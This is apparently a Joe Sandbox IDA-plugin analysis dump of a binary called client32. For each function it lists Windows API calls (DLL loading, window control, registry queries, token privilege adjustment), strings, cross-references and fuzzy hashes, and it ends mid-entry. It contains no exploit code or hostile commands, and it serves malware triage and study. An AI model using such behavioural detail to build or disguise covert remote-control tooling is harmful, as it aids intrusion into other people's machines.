Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 138079b93c76e623c3914dadf52ec1966105b04443ff76c6d6b694830cc74feb
Instruction ID: 9b454a0e08db4b844aa329f9a873b431930d9d904307df7fc69ae15b9a8492e5
Opcode Fuzzy Hash: 138079b93c76e623c3914dadf52ec1966105b04443ff76c6d6b694830cc74feb
Instruction Fuzzy Hash: 55A2D375E0461A9FEB21CF64CC80BEFB7B9AF44345F0041D9E849A7281EB71AA45CF61

Function 11143570 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,757323A0), ref: 111435A3
LoadLibraryA.KERNEL32(?), ref: 111435EC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 11143605
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 11143614
GetModuleHandleA.KERNEL32(?), ref: 1114361A
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 1114362E
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114364D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11143658
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11143663
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114366E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11143679
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11143684
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114368F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114369A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 111436A5
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 111436B0
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 111436BB
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 111436C6
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111436D1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111436DC

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Strings

SymInitialize, xrefs: 11143691
IMAGEHLP.DLL, xrefs: 1114360E, 11143613, 11143619
SymFunctionTableAccess, xrefs: 111436C8
SymSetOptions, xrefs: 111436A7
SymMatchFileName, xrefs: 11143665
SymCleanup, xrefs: 1114367B
SymGetLineNext, xrefs: 1114364F
MiniDumpWriteDump, xrefs: 111436D3
SymGetLineFromAddr, xrefs: 11143628
SymGetOptions, xrefs: 1114369C
SymGetSymFromAddr, xrefs: 111436BD
SymGetLineFromName, xrefs: 11143647
SymGetLinePrev, xrefs: 1114365A
SymGetModuleInfo, xrefs: 111436B2
SymLoadModule, xrefs: 11143686
StackWalk, xrefs: 11143673
dbghelp.dll, xrefs: 111435C8
DBGHELP.DLL, xrefs: 111435FF, 11143604

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction ID: 707b91cc949213dae1a505c6abf15ec2f20ed18dfa7402eb99b54f6ccfa65761
Opcode Fuzzy Hash: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction Fuzzy Hash: 05411B70A04714AFD7309F768D84A6BFAF8BF55A04B10492EE496D3A10EBB5E8008F5D

Function 11139090 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 111390C7
IsWindow.USER32(000802A6), ref: 11139125
IsWindowVisible.USER32(000802A6), ref: 11139133
IsWindowVisible.USER32(000802A6), ref: 1113916B
GetForegroundWindow.USER32 ref: 11139186
EnableWindow.USER32(000802A6,00000000), ref: 111391A0
EnableWindow.USER32(000802A6,00000001), ref: 111391BC
SetForegroundWindow.USER32(00000000), ref: 111391CB
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 11139209
IsWindowVisible.USER32(00000000), ref: 11139218
IsWindowVisible.USER32(000802A6), ref: 11139248
IsIconic.USER32(000802A6), ref: 11139255
GetForegroundWindow.USER32 ref: 1113925F

Part of subcall function 11131210: ShowWindow.USER32(000802A6,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

Part of subcall function 11131210: ShowWindow.USER32(000802A6,11139062,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131246

SetForegroundWindow.USER32(00000000), ref: 11139285
EnableWindow.USER32(000802A6,00000001), ref: 11139294
GetLastError.KERNEL32 ref: 11139353
GetLastError.KERNEL32 ref: 111393CB
GetTickCount.KERNEL32 ref: 11139678
GetTickCount.KERNEL32 ref: 11139699

Part of subcall function 11025BB0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,111396E2), ref: 11025BB8

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 11139734

Strings

ShowNeedsReinstall in 15, user=%s, xrefs: 1113966B
Audio, xrefs: 11139455
HookDirectSound, xrefs: 11139450
Reactivate main window, xrefs: 11139179
MainWnd = %08x, visible %d, valid %d, xrefs: 1113913D
Client, xrefs: 11139159, 111392DD, 1113963B
NeedsReinstall, xrefs: 11139636
disableRunplugin, xrefs: 111392D8
Shell_TrayWnd, xrefs: 11139204
HideWhenIdle, xrefs: 11139154
File <%s> doesnt exist, e=%d, xrefs: 11139357, 111393CF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction ID: 168a4b77644d94df8a921335772b55db7e1a21360cf08f879ca3086e41f0bcfd
Opcode Fuzzy Hash: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction Fuzzy Hash: 700229B8A1062ADFE716DFA4CDD4B6AF766BBC071EF500178E4255728CEB30A844CB51

Function 111450A0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F0EF0,76968400), ref: 111450D0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
_memset.LIBCMT ref: 1114512D

Part of subcall function 11143000: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,76968400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

_strncpy.LIBCMT ref: 111451FA

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

RegCloseKey.KERNEL32(00000000), ref: 11145296

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 111450FB
CurrentMinorVersionNumber, xrefs: 11145260
CurrentVersion, xrefs: 11145174
Service Pack, xrefs: 111452DD
CurrentMajorVersionNumber, xrefs: 11145228
CSDVersion, xrefs: 1114514A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction ID: 1fcbe558ef897eaa1b38a7330f4b62b9d1ba330f7a3c6d488077e096d0eda0f8
Opcode Fuzzy Hash: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction Fuzzy Hash: 6D51D9B1E0022BEFEB51CF60CD41F9EF7B9AB04B08F104199F519A7941E7716A48CB91

Function 11115B70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11115BC5
CoCreateInstance.OLE32(111C081C,00000000,00000001,111C082C,00000000,?,00000000,Client,silent,00000000,00000000,?,1104BADF), ref: 11115BDF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11115C04
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11115C16
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11115C29
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11115C35
CoUninitialize.COMBASE(00000000), ref: 11115CD1

Strings

SHELL32.DLL, xrefs: 11115BF5
SHGetSettings, xrefs: 11115C10

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction ID: 591e2108fd72310e634c09c07143bf968b2bad8d72189eb08e80a39284cb5d12
Opcode Fuzzy Hash: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction Fuzzy Hash: 1751A075A0020A9FDB40DFE5C9C4AAFFBB9FF89304F104629E516AB244E731A941CB61

Function 110733B0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110734E0
_memset.LIBCMT ref: 11073659

Strings

serial_no, xrefs: 1107349C
_License, xrefs: 110734A1
NBCTL32.DLL, xrefs: 11073595

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction ID: b704a80906741011c15d1468992a84ddd821d027e1e1ff2b1c0992d848e69eb8
Opcode Fuzzy Hash: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction Fuzzy Hash: 64B18E75E00209AFE714CFA8DC81BAEB7F5FF88304F148169E9499B295DB71A901CB90

Function 110310C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102E480,?,00000000), ref: 110310E4

Strings

NSMWClass, xrefs: 110310EF
NSMWClass, xrefs: 11031103
Client32, xrefs: 110310C4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: 3211d65015dcc44e5dd59bdf27473333a197f9ceb9b14f7f353df042485d09a4
Instruction ID: e21dedaf74b0f8cf59cf3be59171af9e644e6a1753dc25f7f597d2ad8de8aca1
Opcode Fuzzy Hash: 3211d65015dcc44e5dd59bdf27473333a197f9ceb9b14f7f353df042485d09a4
Instruction Fuzzy Hash: 44F04F7891112A9FCB06DFA9D890A9EF7E4AB4821CB508165E82587348EB30A605CB95

Function 1109E910 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,013808B8,013808B8,013808B8,013808B8,013808B8,013808B8,013808B8,111EEB64,?,00000001,00000001), ref: 1109E990
EqualSid.ADVAPI32(?,013808B8,?,00000001,00000001), ref: 1109E9A3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID:
API String ID: 1878589025-0
Opcode ID: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction ID: 8f268d00a2632c5decc73a479da56acc1190ac8ef7b7f04f8431c56e7d3a1b5e
Opcode Fuzzy Hash: df3ee88bcedd232c82b95f826b647b916292d8a5149356288e18f949a5596a8a
Instruction Fuzzy Hash: 22217131B0122EABEB10DBA4CC81BBEB7B8EB44708F100469E919D7184E671AD00CBA1

Function 1109D440 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000F01FF,?,11030063,00000000,00000000,00080000,59FD48C0,00080000,00000000,00000000), ref: 1109D46D
OpenProcessToken.ADVAPI32(00000000), ref: 1109D474
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 1109D485
AdjustTokenPrivileges.KERNELBASE(00000000), ref: 1109D4A9

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 2349140579-0
Opcode ID: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction ID: 1acc50509d1dc0efa8f8b8857b060522b21de2b31161cc556941a9c494b785c9
Opcode Fuzzy Hash: b2ad1513cc86a00d87a5922bdef26ddabf3e928486d47d374c40a1db595ff72d
Instruction Fuzzy Hash: AE015EB5640218ABD710DFA4CC89BAAF7BCFF44B05F10452DFA1597280D7B1AA04CB71

Function 1109D4D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,00000000,?,?,00000000,00000000,00000000,1109E810,00000244,cant create events), ref: 1109D4EC
CloseHandle.KERNEL32(?,00000000,1109E810,00000244,cant create events), ref: 1109D4F5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction ID: ae8e9f792a84aceb39bcb46fd7c9804e810fa9328d8f27f892a8d401e6504800
Opcode Fuzzy Hash: f88a9555f2545ca551a8130bcebdd0bed71c0aa378151d9f95003999b02a9da9
Instruction Fuzzy Hash: 55E0EC71654614ABE738CF28DC95FA677ECAF09B01F11495DF9A6D6180CA60F8408B64

Function 1102E640 Relevance: 241.6, APIs: 31, Strings: 106, Instructions: 1869windowthreadsleepCOMMON

Download Yara Rule

APIs

